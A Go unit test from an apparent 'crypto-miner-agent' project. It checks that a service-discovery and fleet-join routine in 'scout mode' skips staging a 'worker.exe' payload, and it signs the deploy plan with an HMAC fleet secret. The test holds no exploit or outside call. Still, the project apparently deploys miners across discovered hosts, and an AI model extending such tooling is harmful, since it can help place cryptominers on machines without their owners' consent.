package deploy

import (
	"crypto/hmac"
	"crypto/sha256"
	"encoding/hex"
	"encoding/json"
	"strings"
	"testing"

	"crypto-miner-agent/config"
)

func TestRunDiscoverAndJoinScoutSkipsStaging(t *testing.T) {
	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
		ScoutMode:   true,
		FleetSecret: "test-secret",
	}}
	fetch := func(_ []DeployServiceFinding, _ string) (DeployPlanResponse, error) {
		plan := DeployPlanBody{
			JoinLane: "do_peer",
			Action:   "do_peer",
			Manifest: &StagingManifest{Dest: "worker.exe", SHA256: "abc"},
		}
		raw, err := json.Marshal(plan)
		if err != nil {
			t.Fatal(err)
		}
		mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
		mac.Write(raw)
		sig := hex.EncodeToString(mac.Sum(nil))
		return DeployPlanResponse{OK: true, JoinLane: "do_peer", Plan: plan, Signature: sig}, nil
	}
	runServiceDiscoverFn = func(_ int) string {
		return `{"local":{"host":"127.0.0.1","services":[{"service_name":"dosvc","status":"running"}]}}`
	}
	t.Cleanup(func() { runServiceDiscoverFn = nil })

	lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
	if err != nil {
		t.Fatalf("unexpected error: %v", err)
	}
	if lane != "do_peer" {
		t.Fatalf("lane=%q", lane)
	}
	if !strings.Contains(detail, "no payload staging") {
		t.Fatalf("detail=%q", detail)
	}
}